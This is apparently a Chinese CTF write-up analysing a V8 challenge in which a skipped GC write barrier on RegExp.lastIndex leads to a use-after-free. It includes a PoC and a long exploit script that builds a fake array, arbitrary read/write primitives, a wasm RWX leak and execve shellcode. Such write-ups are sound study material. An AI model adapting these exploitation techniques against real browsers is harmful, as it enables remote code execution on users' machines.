文章目录
- 环境搭建
- 漏洞分析
- 漏洞利用
- 漏洞触发链
- RCE
- 原语构造
- 总结
- 参考
环境搭建
嗯,这里不知道是不是环境搭建的有问题,笔者最后成功的实现了任意地址读写,但是任意读写的存在限制,任意写 wasm
的 RWX
区域时会直接报错,然后任意读存在次数限制。
sudo apt install python
git reset --hard e1e92f8ba77145568e781b47b31ad82535e868bf
export DEPOT_TOOLS_UPDATE=0
gclient sync -D
// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release
漏洞分析
patch 如下:
diff --git a/src/regexp/regexp-utils.cc b/src/regexp/regexp-utils.cc
index dabe5ee..b260071 100644
--- a/src/regexp/regexp-utils.cc
+++ b/src/regexp/regexp-utils.cc
@@ -49,7 +49,8 @@
Handle<Object> value_as_object =
isolate->factory()->NewNumberFromInt64(value);
if (HasInitialRegExpMap(isolate, *recv)) {
- JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);
+ JSRegExp::cast(*recv).set_last_index(*value_as_object,
+ UPDATE_WRITE_BARRIER);
return recv;
} else {
return Object::SetProperty(
可以看到这里仅仅将 SKIP_WRITE_BARRIER
替换成了 UPDATE_WRITE_BARRIER
。原来的 SKIP_WRITE_BARRIER
标志会跳过写屏障处理,这里与 GC
有关,具体可以自行谷歌或百度,当然大概原理可以参考后面的参考文章。
简单来说,考虑如下漏洞场景:
- 对象
X
在new space
中,对象Y
在old space
中,而对象X
仅仅由对象Y
引用且对象X
并不是全局的 - 那么如果此时触发
minor_gc
,则对象X
并不会被遍历mark
,所以此时会将minor_gc
清除释放 - 而对象
Y
还保存着对象X
的引用,所以如果此时操作对象Y
中对对象X
的引用,则导致UAF
那么为了避免上述漏洞场景发生,V8
开发人员为 GC
引入了写屏障,即在执行 object.filed = other_object
时,会将两者的引用关系添加到引用列表中,所以在上述漏洞场景的第二步准备清除对象 X
时,会发生其在引用列表中,所以此时就不会清除释放对象 X
,从而避免了漏洞的产生。而这里的写屏障就是 UPDATE_WRITE_BARRIER
标志保障的,当标志为 SKIP_WRITE_BARRIER
时不会执行写屏障处理。
当然了仅仅是 SKIP_WRITE_BARRIER
其实问题不太大,只要不产生对象引用即可。这里我们跟踪到上述漏洞函数:
MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
Handle<JSReceiver> recv,
uint64_t value) {
Handle<Object> value_as_object =
isolate->factory()->NewNumberFromInt64(value);
if (HasInitialRegExpMap(isolate, *recv)) {
JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);
return recv;
} else {
return Object::SetProperty(
isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,
StoreOrigin::kMaybeKeyed, Just(kThrowOnError));
}
}
该函数就是设置 RegExp.lastIndex
,而我们可以看到这里设置的类型为 Smi
或者 HeapNumber
,跟进 NewNumberFromInt64
函数:
template <typename Impl>
template <AllocationType allocation>
Handle<Object> FactoryBase<Impl>::NewNumberFromInt64(int64_t value) {
if (value <= std::numeric_limits<int32_t>::max() &&
value >= std::numeric_limits<int32_t>::min() &&
Smi::IsValid(static_cast<int32_t>(value))) {
return handle(Smi::FromInt(static_cast<int32_t>(value)), isolate());
}
return NewHeapNumber<allocation>(static_cast<double>(value));
}
可以看到当 value
在 [smi_min, smi_max]
范围内时,返回的是一个 Smi
类型;而当 value
不在该范围内时,返回的是一个 HeapNumber
类型。
Smi
类型是不存在错误的,因为其并不是在堆上另外分配的,其会直接存储在 RegExp.lastIndex
字段中;主要的问题就是 lastIndex
有可能是 HeapNumber
类型的,其是堆上分配的对象,所以这里存在 RegExp.lastIndex
对其的引用。
因此如果一开始 RegExp
在 old space
,而当程序执行到该函数时,value
(即重新设置的 lastIndex
)的范围不在 Smi
所表示的范围内,那么此时就会在 new space
创建一个 HeapNumber
对象然后赋给 RegExp.lastIndex
。那么这里就满足上面描述的漏洞场景了:
RegExp
为old space
的一个对象,RegExp.lastIndex
为new space
的一个对象- 在设置
RegExp.lastIndex
没有开启写屏障,所以此时触发minor_gc
会导致RegExp.lastIndex
所指对象被释放
漏洞利用
漏洞触发链
首先需要考虑的就是如何执行到 SetLastIndex
函数的 if
分支:
MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
Handle<JSReceiver> recv,
uint64_t value) {
Handle<Object> value_as_object =
isolate->factory()->NewNumberFromInt64(value);
if (HasInitialRegExpMap(isolate, *recv)) { // <== check
JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER); // <== target
return recv;
} else {
return Object::SetProperty(
isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,
StoreOrigin::kMaybeKeyed, Just(kThrowOnError));
}
}
首先想要执行到 target
,则需要通过 HasInitialRegExpMap(isolate, *recv)
验证,即 RegExp
对象的 map
是否发生改变。
然后往上引用查找,可以发现在 SetAdvancedStringIndex
函数中调用了 SetLastIndex
:
这里其实还要其它逻辑也会调用到
SetLastIndex
函数,但是难以利用
MaybeHandle<Object> RegExpUtils::SetAdvancedStringIndex(
Isolate* isolate, Handle<JSReceiver> regexp, Handle<String> string,
bool unicode) {
Handle<Object> last_index_obj;
// 获取 lastIndex 属性
ASSIGN_RETURN_ON_EXCEPTION(
isolate, last_index_obj,
Object::GetProperty(isolate, regexp,
isolate->factory()->lastIndex_string()),
Object);
// 得到 lastIndex 的值
ASSIGN_RETURN_ON_EXCEPTION(isolate, last_index_obj,
Object::ToLength(isolate, last_index_obj), Object);
// last_index 为 old_lastIndex 的值
const uint64_t last_index = PositiveNumberToUint64(*last_index_obj);
// new_last_index 为新的 lastIndex 的值,即就是将 old_lastindex + 1
const uint64_t new_last_index =
AdvanceStringIndex(string, last_index, unicode);
return SetLastIndex(isolate, regexp, new_last_index);
}
uint64_t RegExpUtils::AdvanceStringIndex(Handle<String> string, uint64_t index, bool unicode) {
DCHECK_LE(static_cast<double>(index), kMaxSafeInteger);
const uint64_t string_length = static_cast<uint64_t>(string->length());
if (unicode && index < string_length) {
const uint16_t first = string->Get(static_cast<uint32_t>(index));
if (first >= 0xD800 && first <= 0xDBFF && index + 1 < string_length) {
DCHECK_LT(index, std::numeric_limits<uint64_t>::max());
const uint16_t second = string->Get(static_cast<uint32_t>(index + 1));
if (second >= 0xDC00 && second <= 0xDFFF) {
return index + 2;
}
}
}
return index + 1;
}
可以看到 SetAdvancedStringIndex
函数会将 lastIndex+1
,然后在调用 SetLastIndex
,所以如果我们让 old_lastIndex = smi_max
,那么当执行到 SetAdvancedStringIndex
函数时,new_lastIndex = old_lastIndx + 1 = smi_max + 1
,此时进入 SetLastIndex
函数后,就可以成功执行到 target
然后继续向上引用查找,可以发现仅有 Runtime_RegExpReplaceRT
函数调用了 SetAdvancedStringIndex
,该函数在执行 replace
操作时被调用:
// Slow path for:
// ES#sec-regexp.prototype-@@replace
// RegExp.prototype [ @@replace ] ( string, replaceValue )
RUNTIME_FUNCTION(Runtime_RegExpReplaceRT) {
HandleScope scope(isolate);
DCHECK_EQ(3, args.length());
CONVERT_ARG_HANDLE_CHECKED(JSReceiver, recv, 0);
CONVERT_ARG_HANDLE_CHECKED(String, string, 1);
Handle<Object> replace_obj = args.at(2); // 被替换对象
Factory* factory = isolate->factory();
string = String::Flatten(isolate, string); // 替换字符串
// replace_obj 是否是回调函数
const bool functional_replace = replace_obj->IsCallable();
Handle<String> replace;
if (!functional_replace) {
// 不是则转换为字符串存储在 repalce 中
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, replace,
Object::ToString(isolate, replace_obj));
}
// Fast-path for unmodified JSRegExps (and non-functional replace).
// JSRegExp 没有被修改(查看IsUnmodifiedRegExp可以指的主要就是指exec属性没有被修改)则进入快速路径
if (RegExpUtils::IsUnmodifiedRegExp(isolate, recv)) {
// We should never get here with functional replace because unmodified
// regexp and functional replace should be fully handled in CSA code.
CHECK(!functional_replace);
Handle<Object> result;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, result,
RegExpReplace(isolate, Handle<JSRegExp>::cast(recv), string, replace));
DCHECK(RegExpUtils::IsUnmodifiedRegExp(isolate, recv));
return *result;
}
// 被替换字符串的长度
const uint32_t length = string->length();
// 检查是否是全局匹配
Handle<Object> global_obj;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, global_obj,
JSReceiver::GetProperty(isolate, recv, factory->global_string()));
const bool global = global_obj->BooleanValue(isolate);
bool unicode = false;
if (global) { // 具有全局匹配标志(g),则会将 lastIndex 置为 0,即从头开始匹配
Handle<Object> unicode_obj;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, unicode_obj,
JSReceiver::GetProperty(isolate, recv, factory->unicode_string()));
unicode = unicode_obj->BooleanValue(isolate);
RETURN_FAILURE_ON_EXCEPTION(isolate,
RegExpUtils::SetLastIndex(isolate, recv, 0));
}
Zone zone(isolate->allocator(), ZONE_NAME);
ZoneVector<Handle<Object>> results(&zone);
// 开始匹配
while (true) {
Handle<Object> result;
// 调用 re.exec 进行匹配替换处理
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, result, RegExpUtils::RegExpExec(isolate, recv, string,
factory->undefined_value()));
// 匹配失败则退出循环,这里匹配失败的标志是返回 null
if (result->IsNull(isolate)) break;
results.push_back(result);
if (!global) break; // 不是全局匹配,则匹配一次就返回
Handle<Object> match_obj; // 获取 match_obj[0]
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match_obj,
Object::GetElement(isolate, result, 0));
Handle<String> match; // 转换为字符串
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match,
Object::ToString(isolate, match_obj));
// 如果 match->length() = 0 则会调用到 SetAdvancedStringIndex 函数
if (match->length() == 0) {
RETURN_FAILURE_ON_EXCEPTION(isolate, RegExpUtils::SetAdvancedStringIndex(
isolate, recv, string, unicode));
}
}
......
主要关注的功能点如下(具体看注释):
- 如果
re.exec
没有被修改过则直接走快速路径 - 如果
re.exec
被修改了则走慢速路径- 如果有设置全局匹配标志(g),则设置
lastIndex = 0
- 调用
re.exec
进行匹配 [一个loop
]- 如果返回
null
,则break
- 如果没有设置全局匹配标志(g),则
break
- 检查
re.exec
返回的对象(字符串)长度是否为0
- 如果为
0
,则调用SetAdvancedStringIndex
- 如果为
- 如果返回
- 如果有设置全局匹配标志(g),则设置
我们的目的就是调用 SetAdvancedStringIndex
,所以得绕过上述相关逻辑:
- 修改
re.exec
,使得执行流走慢速路径 - 设置全局匹配标志(g)防止提前
break
- 在
re.exec
中再次修改re.exec
使其返回null
,从而防止无限循环
综上所述,我们最后给出 poc
:
const {log} = console;
const MAX_SMI = 1073741823;
var roots = new Array(0x30000);
var index = 0;
function major_gc() {
new ArrayBuffer(0x7fe00000);
}
function minor_gc() {
for (let i = 0; i < 8; i++) {
roots[index++] = new ArrayBuffer(0x200000);
}
roots[index++] = new ArrayBuffer(8);
}
var re = RegExp("foo", "g"); // 全局对象 re, 设置全局匹配标志 "g"
RegExp.prototype.exec = function() { return null; }; // 修改 RegExp 原型链上的 exec 函数
re.exec = function() {
major_gc(); // 使 re 移动到 old space
new Array(0x10); // 分配一个 tmp buf
re.lastIndex = MAX_SMI; // 设置 re.lastIndex = SMI_MAX
delete re.exec; // 删除 re.exec
return [""]; // 返回 [""]
};
var str = re[Symbol.replace]("ooo", "guys");
minor_gc(); // minor_gc 释放 re.lastIndex 引用的对象
major_gc(); // 标记 re.lastIndex 对象为 live
new Array(0x40);
%DebugPrint(re.lastIndex);
// 输出:
// DebugPrint: 0x177a00002469: [Oddball] in ReadOnlySpace: #hole
这里稍微解释一下 poc
的构造。我们最开始把 RegExp.prototype.exec
设置为了返回 null
的函数其主要就是为了防止无限循环。
当执行 re[Symbol.replace]("ooo", "guys");
时:
- 会调用到
Runtime_RegExpReplaceRT
函数,由于我们修改了re.exec
,所以其会走慢速路径。 - 而我们设置了
g
标志,所以re.lastIndex
被修改为 0 - 然后调用
re.exec
进行匹配:
re.exec = function() {
major_gc(); // 使 re 移动到 old space
new Array(0x10); // 分配一个 tmp buf
re.lastIndex = MAX_SMI; // 设置 re.lastIndex = SMI_MAX
delete re.exec; // 删除 re.exec
return [""]; // 返回 [""]
};
re.exec
返回[""]
,其不为null
,所以不会break
。主要在re.exec
中的操作,此时re
已经移动到了old space
区,re.lastIndex = SMI_MAX
,re.exec
属性被删除了- 由于设置了
g
标志,所以不会break
- 检查
re.exec
返回的字符串长度是否为 0,这里返回的""
其长度是为 0 的- 通过长度为 0 检查,从而调用
SetAdvancedStringIndex
- 在
SetAdvancedStringIndex
函数中new_lastIndex = old_lastIndex + 1 = SMI_MAX + 1
,然后调用SetLastIndex
- 在
SetLastIndex
中,由于re.exec
已经被删除了,所以此时可以通过HasInitialRegExpMap
检查。最后成功执行到漏洞逻辑
- 在
- 在
- 通过长度为 0 检查,从而调用
- 然后会继续循环匹配,这时又会调用
re.exec
,但是在第一次调用re.exec
时re.exec
属性被删除了,所以此时会到原型链上找,最后执行的re.exec
其实就是RegExp.prototype.exec
:
RegExp.prototype.exec = function() { return null; };
re.exec
返回null
,跳出循环,然后执行后面的代码
RCE
这里主要利用到了 v8(d8)
的一个特性:
- 引入指针压缩后,特定对象低 4 字节固定
所以其实HOLEY_DOUBLE_ELEMENTS FixedDoubleArray map
的低 4 字节是固定的,考虑如下测试用例:
4 种情况的输出分别是:
DebugPrint: 0x16ac0004a4f1: [JSArray]
- map: 0x16ac00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x15af0004a4f1: [JSArray]
- map: 0x15af00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x10630004a4f1: [JSArray]
- map: 0x106300203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x53b0004a481: [JSArray]
- map: 0x053b00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
可以看到这里的 map
的低 4 字节是固定的 0x00203b41
这也说明了这种利用方式是针对特定版本环境的,即
exp
不具备通用性
所以其实我们是没必要泄漏 map
的,接下来就是去构造对象重叠:
即我们申请一个特定大小的数组对象,并在数组中布置好 map|properties,len|element
,那么就有机会形成如上图的内存布局,此时我们如果拿出 fake_obj = re.lastIndex
,则 v8
会根据 map
将其解析为一个浮点数组对象。而我们可以通过 fake_array
去修改 fake_obj
的 length/element
。
为什么是特定大小呢?因为特定大小的数组对象其
map/element
每次分配都是固定的
原语构造
addressOf
:可以将 fake_obj
的 length
改大,从而实现越界读,然后就可以读取后面的 obj
地址
arb_read_heap
:这里主要是利用其来泄漏 RWX
区域的地址,我们可以修改 fake_obj
的 element
为 wasm_instance offset + ?
从而泄漏 rwx_addr
arb_read/arb_write
:喷射大量 ArrayBuffer
,从而利用越界写修改 backing_store
exp
如下:
const {log} = console;
const MAX_SMI = 1073741823;
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigUint64Array(raw_buf);
var roots = new Array(0x30000);
var index = 0;
function l2d(val) {
l_buf[0] = val;
return d_buf[0];
}
function d2l(val) {
d_buf[0] = val;
return l_buf[0];
}
function hexx(str, val) {
log(str+": 0x"+val.toString(16));
}
function decc(str, val) {
log(str+": "+val.toString());
}
function major_gc() {
new ArrayBuffer(0x7fe00000);
}
function minor_gc() {
for (let i = 0; i < 8; i++) {
roots[index++] = new ArrayBuffer(0x200000);
}
roots[index++] = new ArrayBuffer(8);
}
var spray_chunk_arr = new Array(1000);
function spray_chunk() {
for (let i = 0; i < 200; i++) {
new ArrayBuffer(0x500);
spray_chunk_arr[i] = new ArrayBuffer(0x10);
new ArrayBuffer(0x2024);
}
}
var re = RegExp("foo", "g");
RegExp.prototype.exec = function() { return null; };
re.exec = function() {
major_gc();
new Array(0x10);
re.lastIndex = MAX_SMI;
delete re.exec;
return [""];
};
var str = re[Symbol.replace]("ooo", "guys");
minor_gc();
major_gc();
var fake_obj = re.lastIndex;
//print(l2d(0x0000226900203b19n));
//print(l2d(0x0000800000342151n));
/*
1.86926619662186e-310
6.95335597662764e-310
*/
var fake_array =[
1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310];
var addressOf_array = [0x5f74, 0x5f74, fake_obj, fake_array];
var spray_buf = [];
for (let i = 0; i < 0x30; i++) {
spray_buf[i] = new ArrayBuffer(0x2024);
}
var addressOf_idx = -1;
for (let i = 0; i < fake_obj.length; i++) {
let val = d2l(fake_obj[i]);
if (val == 0xbee80000bee8n) {
addressOf_idx = i+1;
hexx("addressOf_idx", addressOf_idx);
break;
}
}
if (addressOf_idx == -1) {
throw "Failed to leak addressOf_idx";
}
var backing_store = -1;
var backing_store_idx = -1;
for (let i = 0; i < fake_obj.length-2; i++) {
let val = d2l(fake_obj[i]);
if (val == 0x2024n) {
hexx("[===dump===]", val);
hexx("[===dump===]", d2l(fake_obj[i+1]));
hexx("[===dump===]", d2l(fake_obj[i+2]));
fake_obj[i] = l2d(0x200n);
fake_obj[i+1] = l2d(0x200n);
backing_store = d2l(fake_obj[i+2]);
backing_store_idx = i+2;
break;
}
}
if (backing_store_idx == -1) {
throw "Failed to leak backing_store_idx";
}
hexx("backing_store", backing_store);
hexx("backing_store_idx", backing_store_idx);
var victim_idx = -1;
var dv;
for (let i = 0; i < 0x30; i++) {
if (spray_buf[i].byteLength == 0x200) {
log("construct evil dv successfully");
fake_obj[backing_store_idx-1] = l2d(0x2026n);
fake_obj[backing_store_idx-2] = l2d(0x2026n);
dv = new DataView(spray_buf[i]);
victim_idx = i;
break;
}
}
if (victim_idx == -1) {
throw "Failed to leak victim_idx";
}
function addressOf(obj) {
addressOf_array[2] = obj;
return (d2l(fake_obj[addressOf_idx]) & 0xffffffffn);
}
var self_idx = -1;
for (let i = 1; i < 48; i+=2) {
fake_array[i] = l2d(0x800000000n);
val = d2l(fake_obj[0]);
if (val != 0x0000226900203b19n) {
self_idx = i;
fake_array[i] = 6.95335597662764e-310;
break;
}
}
if (self_idx == -1) {
throw "Failed to leak self_idx";
}
hexx("self_idx", self_idx);
function arb_read_heap(off) {
fake_array[self_idx] = l2d((off-8n)|0x800000000n);
let val = d2l(fake_obj[0]);
fake_array[self_idx] = 6.95335597662764e-310;
return val;
}
function arb_write(addr, val) {
fake_array[self_idx] = 6.95335597662764e-310;
fake_obj[backing_store_idx] = l2d(addr);
dv.setFloat64(0, l2d(val), true);
}
function arb_read(addr) {
// print("arb_read 1");
fake_array[self_idx] = 6.95335597662764e-310;
// print("arb_read 2");
fake_obj[backing_store_idx] = l2d(addr);
// fake_obj[backing_store_idx+1] = l2d(addr);
// print("arb_read 3");
return dv.getBigInt64(0, true);
}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {});
var pwn = wasm_instance.exports.main;
var wasm_instance_offset = addressOf(wasm_instance);
hexx("wasm_instance_offset", wasm_instance_offset);
var rwx_addr = arb_read_heap(wasm_instance_offset+0x60n);
hexx("rwx_addr", rwx_addr);
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
/*
for (let i = 0; i < shellcode.length; i++) {
arb_write(rwx_addr, shellcode[i]);
rwx_addr += 8n;
}
*/
/*
for (let i = 0; i < 0x100; i++) {
log(i.toString(16)+" => "+d2l(fake_obj[i]).toString(16));
}
*/
/*
//%DebugPrint(dv.buffer);
%DebugPrint(fake_obj);
var chunk_addr = backing_store - 0x10n;
for (let i = 0; i < 50; i++) {
hexx("chunk_addr", chunk_addr);
let prev_size = arb_read(chunk_addr);
let size = arb_read(chunk_addr+8n);
hexx("size", size);
hexx("prev_size", prev_size);
if (size !== 0n && (size%2n) === 0n) {
let prev_ptr = chunk_addr - prev_size;
// hexx("prev_ptr", prev_ptr);
let fd = arb_read(prev_ptr+0x10n);
// hexx("fd", fd);
let bk = arb_read(prev_ptr+0x18n);
// hexx("fd", fd);
if (((fd>>48)&0xff00n) === 0x7f00n) {
hexx("fd", fd);
break;
} else if (((bk>>48)&0xff00n) === 0x7f00n) {
hexx("bk", bk);
break;
}
}
size -= ((size%2n)===0n?0n:1n);
chunk_addr += size;
// print("-------------------------------------------------------");
}
*/
//pwn();
//readline();
总结
总的来说难度不大,但是搞了好久,主要就是环境存在问题,最后的 exp
也打不通。然后对 GC
的了解也是浮于表面。
参考
https://d0ublew.github.io/writeups/osu-gaming-ctf-2024/pwn/osu-v8/index.html#osu-v8